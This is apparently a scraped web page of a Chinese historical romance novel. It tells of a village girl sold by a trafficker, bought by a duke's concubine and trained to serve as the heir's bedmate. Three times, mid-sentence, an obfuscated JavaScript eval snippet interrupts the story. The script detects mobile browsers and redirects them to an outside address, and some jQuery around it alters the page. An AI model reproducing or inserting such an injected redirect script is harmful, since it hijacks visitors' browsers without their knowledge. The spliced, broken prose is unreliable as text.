《通房丫鬟也想进步》 1. 买家 京城,百花巷,霓裳阁。 天色尚未破晓,林四娘在管事没好气的谩骂声中惊醒,同一个屋子里十几个奴婢,不敢有一声怨言,个个都利索起身。 管事的吝啬,不许她们点烛浪费,她们只能在黑暗中穿上衣服,草草洗漱一番后,在一阵阵催促声中开始干活。 林四娘被家里卖给牙婆之后就被带到了这儿。这是牙婆在京城开的铺子,她四处去偏远的村子低价收了这些穷苦人家的丫头,调教一番后倒手卖给有钱人家当婢女当通房小妾的不少。 她已经来这两个多月了,规矩学了不少,还是没被卖出去。 林四娘生于一个贫农家中,祖母重男轻女,母亲终于在连生五个女孩后为家里添了个带把的,祖母总算给了她几分好脸色。 林四娘是家中的第四个女孩,下面还有一个十岁出头的妹妹和弟弟。 家里地少人多,饶是一家人再勤奋,也种不出多的粮食,为了维持生计,她前面的三个姐姐早早被安排着嫁了人家。 一家人每年就盼着家里的那块地勉强过日子,但是今年闹了灾荒,恐怕是要颗粒无收了。 弟弟是家里盼了好久才得的金疙瘩,被家里惯得目中无人,爱惹是生非,他一个使性子就把隔壁李家孩子的腿给打伤了。 李家也不是省油的灯,说是孩子伤到了筋骨,很可能留下隐患,吵着闹着要她家赔二十两银子才肯罢休,不然就要送弟弟去见官。 一家人早就温饱都成问题了,哪里拿得出这二十两,但祖母宝贝她的金疙瘩,见不得孙子受罪,可实在凑不出银子来。 瞧着一旁已经出落得亭亭玉立的四丫头,顿时有了主意,当即就和儿子商量着要给她找个人家嫁了,收点聘礼钱,孙子的事情就能解决了,而且少口人家里日子也能好过些。 林家四丫头是几个村子里出了名的美人坯子,性情温和、干活勤快,还未及笄,就有好几户人家想来提亲,但是祖母都没应下,无非是觉得聘礼给得太少,她甚至早就放出话来,谁家的聘礼最丰厚,谁就是林家的女婿,俨然把她当成了一件物什等人叫价。 可惜现在是灾年之秋,大家家中都不好过,就算有心娶亲,也难拿出让她祖母满意的聘礼来。 众人之中给得最高的是同村一个丧偶的老鳏夫,愿意出十两银子、一斤猪肉和一匹布,对于他们这种穷人家来说,这些东西得攒上好几年。 那老鳏夫家里只剩他一个人,有两亩良田,还自个儿盖了房,条件看起来是不错,但是年纪比林四娘的父亲还大上几岁。 虽然银子不够,但李家咬得紧,祖母这些日子也凑了些,林四娘心中忐忑,生怕祖母为了护着弟弟就这么答应了。 为了不被祖母这么草率嫁出去,林四娘只能四处寻法子。偶然听得有京城来的人牙子在附近收模样周正的女子,价钱给得比小地方的人牙子要高。 林四娘一打听,价钱五两到二十两不止,不少人家把闺女卖了,得了不少钱。情急之际,林四娘只能把这个消息透露给祖母。 祖母动了心思,好好打探了一番消息后,把林四娘带到牙婆面前,牙婆瞬间眼前一亮,不曾想这么个穷山恶水的地方竟还能生养出这么水灵的女娃,瞬间觉得这趟走那么远不亏,她也不含糊,直接拿出三十两白银。 祖母这辈子没见过那么多钱,高兴得找不着北,担心牙婆反悔,二话没说扔下林四娘,自个儿揣上银子回了家。 林四娘就这么被卖了。她出门时还是清晨,父母已经去下地干活,妹妹和弟弟还在睡梦中,她在祖母的催促下关上生活了十六年的小院门,踩着朝露走了几里地,没能再踏上回家的路。 牙婆在他们这几个村子里买了不少妙龄少女,全塞进一辆四周封闭的马车里,接连赶了几天路,没有人知道自己会被带到哪里去,几次放风时间,都是深夜的时候,在荒郊野外,在林四娘眼里看来都是一样的林子,她早已分不清家的方向。 铁链声响,门从外被打开,车夫矮小的身影掩不住远处的华灯,黑暗笼罩他,衬得他脸上的刀疤越发狰狞,吓得车厢里抱在一起取暖的少女们发出惊呼。 “都下来,快点。” 中年车夫没好气的声音夹杂着忽近忽远的喧闹声,这才让一行人觉得有了人气。 夜色沉沉,林四娘下了车,还来不及多打量几眼,就被人推攘着进了院子。匆匆安顿之后就把十几个丫头关进一间屋子里休息,第二天一早,天还没亮,就被拉起来干活。 林四娘这才知道,她脚下踩着的地界属于京城。 买她的牙婆姓孙,是个会做生意的人,为了不被官府找麻烦,在闹市区盘了个铺子,挂了个“霓裳阁”的牌匾,表面是卖布匹成衣的店,暗地里还做着买卖奴婢的生意,两头都赚钱。 林四娘来了这以后,先是和一众新来的一起跟着一些上了年纪的婆子学规矩,虽然规矩又多又精细,但总归是伺候人的活儿,她以前在家没少干,学起来也比旁人快些,那些学得慢的就会被罚没饭吃。 说来,这可比她家好多了,起码这里还能给她口热乎饭吃,有时候还能见到点油水,不比她家,一年到头都是野菜就粗糠,有口肉都是爹和弟弟的,她们几个做女儿的只能饱饱眼福。几天下来,林四娘就适应了这儿的日子。 霓裳阁待买的丫鬟被分为三等,根据等级不同所学的东西也不同。最次的一等模样普通,除了基本的规矩外,学做的是一些繁重的粗活,这些丫鬟买去后大多被安排在外院做粗使。 往上一等的一般是放在内院的丫鬟,会教她们精细一点的规矩,学着管理院内事务,干的活比较轻松。 最好的一等,是冲着能当通房妾室去的,模样都是不错的,学的是最全的规矩,还要学做女红裁剪,最后便是伺候人的功夫。 霓裳阁的丫鬟们不让多话,没有买主的都被关在霓裳阁的后院由婆子们看管。 这些婆子很多都是大户人家里犯了错被打发出来的,熟悉高门大户里的规矩,孙牙婆给她们一个挣钱养家的机会,让她们来教规矩,她们自然是感激,也顾不上可怜这些姑娘,这世道,谁家容易? 再说,孙牙婆卖的人,多是往高门贵府或者是富贵人家卖,这可是那些穷人家几辈子都接触不到的人上人,能够伺候那些贵人也算是她们的福气。 且不说别的,这些人家给的月钱就是旁人比不得,哪怕做个最低等的粗使丫头也比普通人家的要贴身丫鬟的月例要多。 林四娘在这两个月来,学了不少东西。现在她已经分得清许多名贵的茶叶,会做不少精致的点心,每次收拾屋子又快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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底下人知道来的是贵客,自然不敢怠慢,三步两跑到了西阁,在门外唤了正在巡视的婆子一声,婆子一看是她,知道贵客来看货了,立马叫一屋子人停下手中的活儿。 “你们先别绣了,跟着春花去前院,注意礼数,好好表现,可别在贵客面前砸了我们霓裳阁的招牌。” “是。” 这是林四娘这么久以来第一次到前院,一路上春花都在提醒她们几个,要是这次能被买走,日后不会差到哪儿去,让她们抓住机会。 林四娘暗暗琢磨春花的话。霓裳阁虽现在对她来说是不错,但这里的老人说,若是久久没有买家看中,那霓裳阁也不会就这么白白养着你,为了不吃亏,几乎都会降等级贱卖,那时谁也不知道会被卖到什么人家。 只见春花带着她们进了前院,直直往雅间里去,林四娘这又对春花的忠告有了更清晰的认识,心里倒有些盼求这次能被看上。 八个人站成了一列,她走在最末。前头的人停下来,她也跟着停下,转身行过礼后就低下了头,不敢乱看。 “都抬起头来。” 上头传来的声音语调尖锐高亢,有些刺耳难听。 林四娘微微抬颌,眉眼低垂,余光能瞥见面前人的衣着,看不清面容。 2. 规矩 上方端坐的那位应该就是今天的贵客,她身着一袭浅紫色的对襟袄子,搭的同色褶裙,裙面用银色的丝线绣上了莲花,花样倒不复杂,不是名贵的刺绣,但手艺甚是精巧,料子像是织锦,这可不是一般人家穿得起的。 林四娘感觉一道犀利的目光在她们身上打转,不知是不是她的错觉,那目光似乎在她这个方向多停留了几瞬。 孙牙婆顺着杜姨娘的视线看去,心中暗喜,打量着她的神色,想着这次应该能成,“姨娘觉得如何?” “嗯,孙掌柜挑的人,自然不会太差。就……这几个吧,我瞧着不错。” 一只戴着上好翡翠镯子的纤纤玉手连点三下,稍做停顿后指向了林四娘的方向。 “还是姨娘眼光毒辣,一眼就挑中我们店最上乘的货色,这几个丫头都是我千挑万选寻来的,绝对不会让姨娘吃亏。” “孙掌柜办事,我放心。找赵嬷嬷结了帐后,便把人送到国公府去。”说罢,杜姨娘站起身,孙牙婆连侧身让道。 “好嘞!多谢姨娘,姨娘慢走!下次有什么需要您再吩咐我这个老婆子就行。” 林四娘有些惊讶来的这位姨娘竟是国公府的,一早霓裳阁教规矩的婆子就给她们介绍了京城里的几家权贵,其中当属镇国公府是其中翘楚。 老镇国公是两朝元老,开国功臣,现在的镇国公虽是世袭的爵位,但是也是战功赫赫。当初圣上的三弟谋反,多亏镇国公及时救驾,这才免了一场腥风血雨,因此深受当今圣上器重。 这姨娘虽是妾室,但她是镇国公府的人,难怪孙牙婆会把人请到这最上等的雅间来。 此番她能入镇国公府当差,当是一件幸事。 孙牙婆亲自把人送到门口,乐呵呵收了银两,叮嘱她们一番后便差人把她们送到了镇国公府。 林四娘一行人是从角门进的国公府,依旧是赵嬷嬷领着她们进的门。 单从外看,高门绿瓦本就气派,进了府只见青石板铺就的道路纵横交错,庭院深深,楼阁错落,粗壮坚实的梁柱镶金嵌玉,饶是很多东西林四娘并不识得,她也看得出这座府邸的恢宏大气。 一路上遇到不少匆匆而过的丫鬟小厮,见到赵嬷嬷都要同她行礼问候,赵嬷嬷则是轻蔑地应了一声或是直接忽视,反正是不把人放在眼里,想来这杜姨娘应是挺受宠的,不然她身边的人也不会如此作威作福。 赵嬷嬷领着她们左拐右绕,一柱香后,总算是进了一处院子。 “这是我们姨娘的院子,你们随着云华去收拾一下,姨娘要见你们。” 说着,便招手唤来一个年岁与她们相近的丫鬟。 “云华,给她们收拾干净后带到姨娘屋子里。” 云华领着她们去了下房,房间里早准备好了同云华一样的服饰,等她们换上后又梳洗一番,这才被带着往姨娘房里去。 杜姨娘正坐在屋子中间的一张四方桌旁品茶,赵嬷嬷在一旁伺候,几人走过去福身行礼。 “见过姨娘。” 杜姨娘扫视她们一圈,最后还是把目光停留在林四娘身上,“嗯,模样身段不错,声音也好。孙牙婆的眼光确实不错,就是不知道伺候人的本事如何。” 就这四个丫头,一共花了她两百两银子,其中就属她眼前这个孙牙婆叫价最高,狮子大开口要了她一百两,赵嬷嬷回来汇报的时候让她一阵肝疼,不过现下看起来,这个丫头倒是最有可能被承熙院留下,如此这一百两也不算冤枉。 “我不喜欢兜圈子,就跟你们直说了,买了你们,签了卖身契,你们自然要听我吩咐,为我办事。我生平最讨厌不听话不忠心之人,若是你们不听话,打发你们做粗使丫头是难解我心头之恨的,送你们去青楼瓦舍,让那里的妈妈好好关照你们也不是不可。总之我呢,不是个好说话的主子,毕竟这可是国公府。 国公府的世子爷近来准备明年的科举考试,可前阵子在书院的时候为救同窗不小心摔伤了手,这一个多月来本该安心养伤,可世子还忧心学业,日日苦读,家主和主母都心疼世子身子,我也想为他们分忧,所以想送几个贴心的丫头好好伺候世子。世子顺心,整个国公府才能安生。” “世子是个温良恭俭的主,又是读了圣贤书的人,可比我好伺候多了,只要你们能留在世子身旁伺候,把世子伺候好了,自然少不了你们的赏赐。只不过到时我希望你们还能记得是谁带你们入的国公府,是谁让你们有机会接近世子。若是谁忘了,我自有我的法子让你们牢牢记住。” 最后几个字杜姨娘蓦地加重了,几个人一直专心听着,现下连大气也不敢喘。 杜姨娘这一套恩威并施的话术下来,几个未经世事的年轻丫头自然会被震慑。林四娘起先还觉得来国公府伺候是一件幸事,现在看来,只不过是从一个火坑跳到了另一个火坑。 青楼瓦舍,林四娘是不想去的,不过杜姨娘攥着她的卖身契,想怎么处置她都是一句话的事,不就是伺候一个世子,她一定会努力的。 说了那么多话,杜姨娘像是渴了,端起茶杯,用杯盖撇去茶沫,整个屋只有瓷器磕碰的响声,她抿了一口茶,半晌后她悠然道:“你们,都听明白了吗?” 语调平缓,却让人莫名感到压力。 林四娘压下跳到嗓子眼的心,随其他人一起回:“听明白了。” “嗯,还算懂事。你们记住,进了镇国公府,就是镇国公府的人了,以前的种种,什么霓裳阁那些你们就都忘了,以后你们就叫云若、云青、云月、云燕,是我凝香院的人。从今儿个起,赵嬷嬷会亲自教你们如何伺候好世子爷,你们好好学,过阵子就把你们送到世子院子里去,能不能留下来,就看你们的本事了。” 杜姨娘从林四娘开始取名,从现在开始,她就不是山村的林家四娘,而是镇国公府的丫鬟云若了。 吩咐完,赵嬷嬷就带着云若一行人去了偏房。偏房的条件比下房好得多,云若不懂为何她们同为丫鬟,却不用住在下房。 姨娘对她寄予厚望,其他几个人都排挤她,希望自己被选上 等赵嬷嬷正式开始教她们如何伺候世子爷,云若才发现杜姨娘口中的伺候并不是普通的伺候。 规矩霓裳阁教得细,赵嬷嬷纠正几番细节后便开始教她们如何伺候世子。 “我们姨娘说的让你们好好伺候世子,不单单是要仔细世子的衣食起居,更是要能够抓住世子爷的心。要想伺候好世子爷,免不了要先了解了解世子是个什么样的人。” 镇国公府的世子陆执,正值弱冠之年,是镇国公唯一的嫡子,其母陈姝陈氏是端亲王的独女,被先皇封为文礼郡主,由先皇亲自赐婚。端亲王虽早逝,但和先皇是一母同胞的亲兄弟,在世时与先皇兄友弟恭,关系和睦,文礼郡主未出阁前被养在宫中,与当今的圣上幼时经常一同玩耍,圣上身边的人都知道私下里圣上会叫郡主一声姐姐,对郡主很是敬重。 因此,陆执一生下来就身份尊贵,他母亲从小学习宫廷礼仪,谨遵三从四德,知书达理,不乏才情修养,在她的严厉教导下,陆执从小便礼数周全,温文尔雅,长大之后,身姿挺拔,面容英俊,聪敏好学,舞得一手长缨枪,浑身上下没有染上一点镇国公的杀气,反而总透着温和谦逊,让人忍不住想亲近,与一众纨绔子弟截然相反,简直是世家贵族的典范。 “世子爷的脾气是出了名的好,待人友善,虽然外人都说世子爷不近女色,一心向学,可世 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15150075|164828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子爷毕竟是个男人,正是年轻气盛的时候,只要你们被看上留下了,要做的就是一个胆大心细,人前的时候装乖卖巧,没人的时候呀你们也别管什么羞不羞,关上门拉上帘子热情一点,你们一个个娇得跟朵花一样,那柔情似水的,让世子爷如何抵挡得住?你们记住,有时候越正经的男人越不正经。” 赵嬷嬷终究是见过世面的人,这些话说出来跟说今天吃什么一样正经平常,但云若几人在这之前皆是不了解男女之事的人,面上大家都佯装镇定,可细看四人的耳廓皆是泛红。 “我赵嬷嬷活了四十多年,见过那么多男人,我敢说没有男人能抵抗得住男欢女爱的快活,所以你们其他事都可不必样样精通,但让世子舒心这一事上,你们一定要练出百般武艺,最好能让世子离不开你们。抓住了世子的身子,还怕抓不住心吗?” 赵嬷嬷从袖中掏出几本小书分给她们:“只需学明白你们手上这本书中所画之图的精妙之处,我刚刚所说之事于你们而言,应该就不是难事了。” 云若看着手中的书,不过两个手掌大小,扉页左弯右绕写了三个字,但她并不识得,只好翻开书看里面的内容。 刚翻开,云若便被书中之画惊得面红耳赤,她合上书牙在膝头平息自己不受控制加快的呼吸。 她侧头观察其余三人,无一不是和她一样,脸色红润,堪比新春对联之红。 赵嬷嬷瞥她一眼:“念你们此前未曾了解这档子事,今天就不勉强你们了,你们这两天什么也不用干,就把这个册子仔仔细细看三遍,一定要给我记住了,三遍不够就多看几遍,到时候我会就每一张图给你们细说。若是连这个简单的事你们都做不好,那我就直接告诉姨娘将你们直接发卖,免得浪费我们姨娘的时间。” 赵嬷嬷是个严厉的人,云若在她面前打不得一点马虎眼,为了不被发卖,她卯足了劲学,让赵嬷嬷挑不出错来。 一眨眼,云若又学了一个多月的“规矩”。云若是聪明的,同在霓裳阁学东西的时候一样,她也是这几个人中学得最快最好的。 赵嬷嬷看她们几个这门技巧学得差不多了,又分别根据她们的特长教了点别的东西。 云若擅长做吃食,赵嬷嬷除了教他学做世子喜欢吃的菜品甜食之外,还教她做了些温润滋补,符合时宜的补品。 “万一世子不中用,你也有发挥的余地。” 已经不是先前什么都不懂的云若,自然知道赵嬷嬷说的是什么,她现在除了不能若无其事地谈论这些,脸皮已经比最初的时候厚了不少,只是脸和耳朵还是会不受控制泛红。 在此期间,她也对镇国公府的情况有了进一步的了解。 除了正妻,镇国公还纳了三个姨娘,杜姨娘是除了镇国公夫人外跟在镇国公身边最久的一个,听说镇国公在外征战的十年,身边只带了杜姨娘一个人,她也在这段时间内为镇国公诞下了一儿一女。 二公子陆平只比世子小了半岁,当初镇国公带着人回来的时候,把镇国公夫人气得呕血,死活不同意她们母子三人进门,奈何镇国公态度强硬,又以功绩亲自向皇上请旨,镇国公夫人不愿皇上为难,最终低了头。 原以为镇国公有多爱,没几年又陆续纳了唐姨娘和柳姨娘,虽然这阵子镇国公老往新纳柳姨娘院子里去,可这么多年算下来,最得镇国公心的还属杜姨娘。 赵嬷嬷觉得她们学的差不多了,回复了杜姨娘,杜姨娘亲自检验一番后,也颇为满意。 “不错,才两个月就学成这样,倒不是些呆笨的。既如此,明儿个就随我去同夫人请安,别怪我没提醒你们,在夫人面前一定不要太端庄了,不然夫人不准你们去服侍世子的话,凝香院也留不住你们。” 3. 交锋 第二天一早,杜姨娘带着赵嬷嬷和云若四人前往镇国公夫人的院子请安。 “夫人,杜姨娘到了。” 陈氏正在往香炉里添些安神的香料,有些惊讶:“她今儿个倒是来得早,请她进来吧。” 李嬷嬷把人请进来,杜姨娘带着赵嬷嬷同她行礼。 “给夫人请安。” “姨娘请起,坐吧。”陈氏免了杜姨娘的礼,吩咐身后的李嬷嬷上茶。 杜姨娘端起茶盏,品尝一口后,面露喜色:“还是夫人这里的茶好喝。每次喝完夫人的茶,回了妾身自己的院子后,喝什么茶都觉得没味儿了。” 陈氏被她逗笑,“瞧你说的,要是喜欢,待会儿走的时候带点回去。这是今年新上贡的雨前龙井,皇上前些日子特地派人送来的,我给家主和鹤哥儿送去了些,一些,还剩不少,本打算也给各院的姨娘也送去些,你这先开口了,那就直接拿点回去,这样李嬷嬷也少跑一趟。” 闻言,杜姨娘依旧带笑,只是笑意未达眼底:“那就多谢夫人了。还是夫人这里好东西多,也愿意和姐妹们分享,府上有您这么一位主母,真是荣幸。” 说罢,杜姨娘敛下笑意,她抿了口茶,像是突然想到什么,“对了,妾身来的时候仿佛看到世子才离开?” “对,鹤哥儿来给我请安。” 陈氏睨了她一眼,不知她怎么突然提起了鹤哥儿。 “世子真是孝顺,虽说您因他受伤把这些请安的礼数都免了,他还是日日晨昏定省,不曾落下。 不知世子最近可还好?自从世子手伤了后,御医说需要静养,妾身也不敢前去叨扰。一晃眼,快三个多月没见着世子了,也不知道世子的伤如何了?” “难为你挂心,鹤哥儿身子向来康健,手骨虽然有些断裂,但也养了快三个月了,御医用的又是上好的药材,已经好得差不多了,这不,早先刚来请过安,现在已经回他自己的院子温书去了。” “世子受了伤还如此勤奋,全是夫人您教导有方。唉,可恨我的恒哥儿是个淘气的,一天天就知道玩,妾身回去一定会教导他向世子学习。” 陈氏心里冷哼一声,陆平怎么比得上她的儿子,她杜娇就算再怎么望子成龙,她的儿子也别想比得过她的鹤哥儿。 “恒哥儿还小,爱玩也是正常。” 杜姨娘自然听得出陈氏话语里的不屑,但她并不在乎。 “妾身听闻前阵子世子身边的小厮侍茶不当,又让世子烫伤了手,不知可有大碍?” “无碍。” “无碍就好,世子写得一手好字,这手老是受伤,真怕影响到世子。” 见陈氏要开口,杜姨娘连忙把话转到正题上,“要是妾身没记错,世子院中似乎全是侍卫小厮,一个丫鬟也没有,这些个侍卫小厮伺候主子,终究是不够心细。” 终于露出了尾巴,陈氏倒不着急。 “他身边那些人都是同他一起长大的,他也用习惯了,虽然我也想送几个丫鬟过去,但一直没有合适的机会,现今鹤哥儿一心准备秋闱,他院子里本也不缺人,再送人过去反倒叨扰他,一切等他考完试之后再说不迟。” 杜氏虽是一脸操心的样子,可陈氏想她肚子里没装好货,不过这番话倒是一点没掺假。 “正是因为如此,世子身边的人才更应该可心周到。虽有夫人一直为世子操心,但难免有顾不过来的时候,就像这次世子受伤,不就是那群小厮粗心没注意到世子鞋都该换了?小厮伺候终究不够仔细,也不懂这些。” 陈氏看杜氏变着法的说陆执院中下人的不是,猜到杜氏此行目的,不想她如意,继续装糊涂:“那杜姨娘的意思是……” “要妾身说,有些事儿少了女人不行。当下,世子顺利参加明年的秋闱是咱府上的大事,既然世子已经决定未来的日子自己在家自学,不去书院了,那世子的衣食住行更是马虎不得,光是几个侍卫小厮肯定不够。 再说世子爷现在正是精力旺盛的时候,身边没个可心人可怎么行?只是现在还不是娶妻纳妾的最好时候,依妾身看,不如送两个通房丫头过去,就算做不成通房,做个丫头也行,到时候您想知道世子的情况,也可让她们仔细说与您听不是。” 果真打的是这主意,想安排人在世子身边,误了世子明年的科举事小,若是她暗中加害世子,岂非是想让整个镇国公随她姓杜? 陈氏掩下心中不满,借口推脱:“你这想法是好,不过府里好久没进新人了,眼下本夫人也想不起适合,况且世子眼光高,平常俗物难入他眼,还是别去扰他清静了。” “还请夫人莫怪罪妾身自作主张。恒哥儿想要个通房很久了,妾身受不住他闹,便为他物色了几个,想着世子或许也该安排几个了,妾身就自作主张多物色了几个。 妾身的眼光虽比不得世子,但这几个丫头个个都长得水灵,干活儿心细,家世清白。家主昨儿个来我院子里的时候也瞧过了,觉着不错,就让妾身今儿个带来给夫人看看,有没有入眼的,毕竟您才是世子的母亲,您更懂世子的喜好才是。” 也不管陈氏想不想看,杜姨娘直接对赵嬷嬷使了个眼色,几息时间就把人带了进来。 只见四个穿着相同绿色衣裙的少女娉娉走来,福身向陈氏请安。 好啊,居然拿家主来压她,都请示过国公了,还把人带来让她这个主母拿主意,真是够敬重她啊! 一室静默良久,陈氏没有发话,杜姨娘出声提醒:“夫人可有入眼的。” 陈氏压下心中的怒火,看着杜氏一副小人得势的嘴脸,没好气冲四个丫鬟开口:“都抬起头来。” 瞧见四人的容貌,陈氏明白了杜氏是有备而来,为了找这几个丫鬟,想必杜氏花了不少精力。 “叫什么名字?” “奴婢云若。” “奴婢云青。” …… 四人一一回复。 “嗯,杜姨娘为本夫人分担,本夫人怎会怪罪于你。你的眼光一向不错,这几个丫头一看就是花了心思的。” 陈氏特地咬重了“心思”二字,注意杜氏的神情。和杜氏斗了十多年,陈氏早已懒得同她多做表面功夫。 杜姨娘像是没听出她话中的讽刺一般,笑道:“那是应该的,毕竟是为世子挑人,妾身不敢马虎,挑得比给恒哥儿还用心呢!” “给嫡子的东西比庶子好是应该的。” 一句嫡庶就让杜姨娘脸上的笑有些挂不住了,陈氏看她吃瘪,心中的气也消了几分。 “我瞧着这个云青不错,留给本夫人如何?” 四个人当中,就这个云青端庄大气些,陈氏害怕陆执挑中她,到时在身边留下祸害。 云青?杜姨娘扫了她两眼,才发现这小妮子竟悄悄改了妆容,她本身长相就比其他三人端庄些,细微的妆容改动,让她有了几分贵女的气质。 “夫人哪儿的话,整个国公府除了家主谁都得听您的,这几个丫头您想留是她们的荣幸。” “那就把云青留在本夫人院子里,其他三个劳烦李嬷嬷送到世子院中去吧。” “你们几个也算是从我凝香院出去的,可要好好伺候夫人和世子,别丢了我的脸。” 一有机会在她面前作势,这个杜氏真是越发不把她这个主母放在眼里了。 “难怪家主跟本夫人说起让你学着管事,今日看来,你还真是有点主母的风范。” “夫人您就别打趣妾身了,妾身能有这本事,都是跟主母您学的,只要有您在,这镇国公府的主母永远是您!时候不早了,妾身就先退下了。” 陈氏听腻了她虚伪的话语,只觉得烦得厉害,挥挥手随她去了。 出了陈氏院子,走远些了后,杜姨娘才吐出了刚才的不满:“不过是生了个嫡子,天天拿出了说道,她也就这点本事了!不就是会投胎了点,不然凭我与家主的情分,她的位置早就是我的了!” 每次夫人一提嫡庶,主子就会如此,赵嬷嬷已经习惯了,只能好声劝主子消气。 “姨娘息怒,好在这次计划没被打乱,人还是送过去了。” “哼,还说不算呆笨,不曾想这个云青是个没脑子的东西,我特意吩咐过不要太端庄,她倒好,自作聪明。不过去不了承熙院留在荣安堂也是好的,等她吃够了苦头,你再去告诉她,凝香院永远留了个位置给她。” 赵嬷嬷应下。 荣安堂。 杜氏走后,陈氏就把云若一行人遣出了屋内,在院子里候着。 已经入夏,天气开始热了起来,陈氏被杜氏这么气了一遭,心里不舒畅,正卧在小榻上闭目养神。 日头渐盛,李嬷嬷看了眼外头已经被晒得冒汗的人,走上前接过丫鬟的扇子,屏退丫鬟,亲自为陈氏扇风。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15150076|164828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“夫人,老奴真要把那几个人给世子爷送过去吗?” “送,为何不送。晚些时候,你做些世子喜欢吃的点心,就让她们几个送过去吧。” “可是老奴不明白,您怎么就答应了杜姨娘?就算真要给世子爷送人,也应该送我们的人啊,怎么能要她的人,谁知道她葫芦里卖的什么药。” 陈氏单手揉着自己的太阳穴,长叹一口气。 “除了柳氏,最近家主老去她的院子,就算我不同意,她也可能会同家主吹吹枕边风,结果还不是一样。到时候不经过我,谁知道她会给鹤哥儿送去什么货色?我何不顺水推舟,博个好名头,家主也不会觉得我针对她。 再者,你看她挑的人,除了那个云青端庄大方些,其他那几个都是妖媚的俗物,一看就不是鹤哥儿喜欢的,到时候鹤哥儿亲自把人赶出来了,我还能反咬一口说她调教不力,扰了鹤哥儿清静,到那时家主可没有再站她那边儿的理。” “还是夫人想得周到。那这个云青……” “打发她去做粗使丫头,她院子里出来的能是什么好东西,可别让她脏了本夫人的院子。” 晌午过后,正是一天中最热的时候,李嬷嬷做了三道点心,让云若三人端着往承熙院去了。 荣安堂离承熙院不远,只不过日头有点毒,等到了的时候,云若身上出了一身薄汗。 进了院子,在书房门外等吩咐的侍卫见到李嬷嬷,上前行礼。 “夫人想着天热了,命老奴给世子送点解腻的点心,望左侍卫通传一下。” 李嬷嬷是夫人身边的人,侍卫不敢随意打发,于是进门通传。 听不清侍卫说了什么,只知道没一会儿,屋内就传出一道好听的声音。 “进来。” 那声音低沉有力,却自然夹杂几分清冽,在这炎热的天能给人一种迎面清凉的舒爽,让云若紧张的心平静了些。 李嬷嬷先入,云若三人紧随其后。 一踏进书房,云若便感到舒服的凉意,书房里溢满了淡淡的香味,虽不知道是什么,但她还挺喜欢。 “世子爷,夫人命老奴把这些给您送来。” 陆执低头作画,手随意指了指一旁的桌子。 “有劳嬷嬷跑一趟了,把点心放那儿吧。” 云若低着头,只能看到陆执的腰部往下,他今日身穿一袭水墨色锦袍,腰间束着一条白色的丝绦,挂着一块玉佩和香囊,左手压着书桌上的纸,右手握着笔正在纸上勾勒。 “世子爷,那桌子上只放得下点心。” 李嬷嬷这莫名其妙的一句话,彻底扰乱了陆执的思绪,他抬头一看,才发现这次随李嬷嬷送东西来的,并不是往常的那些婆子。 这下他明白李嬷嬷怎么说送的是“这些”,而不是说“点心”。 这个左行,怎么连母亲要送什么都没弄清楚。 心中恼清静被扰,陆执看着手中这幅他画了很久,但是一直不满意的画,无奈淡笑,手上继续作画。 “劳母亲费心了,但我这院子里不缺人,送回去吧,母亲自己留着用就好。” 虽然世子的语气并没有明显的变化,但是云若的直觉告诉她,世子有点生气了。 “世子爷,天热了胃口不佳,这是夫人特地为您做的山楂芙蓉糕,夫人希望您每天都可以好好用膳,您尝尝夫人的心意吧。奴婢们扰了世子清静,已经知错,这就去领罚,世子爷您别生气。” 李嬷嬷本想再在世子面前表现为难一番后就带着人回去,不曾想这个胆大的丫头居然敢插话! 陆执也没想到这次李嬷嬷带来的人比以往大胆,他垂眸一看,小丫头跪得比直,直勾勾盯着他,嘴角挂着得体的笑,眼神却闪烁不定,那抬着糕点的手都在颤抖。 陆执笑了。 原来是只受了惊的小猫只会亮爪,却忘了她一亮爪,别人就会看见她的利爪已被人剪去,根本不足为惧。 仔细一想,刚刚她的声音虽然脆生生的,但却还是夹杂着难以察觉的颤音。 他记得自己在外的名声不是温润如玉吗?他方才的语气和平常说话无异,身边的人察觉他生气正常,怎么一个丫头也被吓成这样。 陆执对上她的眼睛,清亮的眸子氤氲雾气,眼里写满无辜无措。 那张昳丽的小脸妩媚动人,眼睛却是那么清纯可怜,陆执一下子生不起气来了。 4. 陆世子 李嬷嬷见世子一直盯着云若,看不清喜怒,她倏地跪下,试图转移世子注意:“世子恕罪,老奴管教下人不力,这就把人带回去好好教导。” 云若望着陆执含着笑意的眼神,心里头的紧张竟消散了不少,只觉得世子好像又没生气了。 先前的时候是她有点紧张害怕,现在冷静下来再看世子,她这才发现世子当真长得俊俏。 乌发冠束,眉眼如星,鼻梁高挺,薄唇带笑,长身玉立,一袭水墨色锦袍让他有着文人的温润,挺拔如松的身姿也让他不乏武将的英气,一举一动优雅从容,却不经意透着矜贵。 世子是她这么大以来见过的最好看的人了。虽然她也没见过多少人。 欣赏完世子的容颜,云若回了神,告诉自己当下最要紧还是得留在承熙院。 眼下这屋子里,只有世子才是主子,李嬷嬷说的话不作数,她就当没听见。 或许,世子会留下她们。 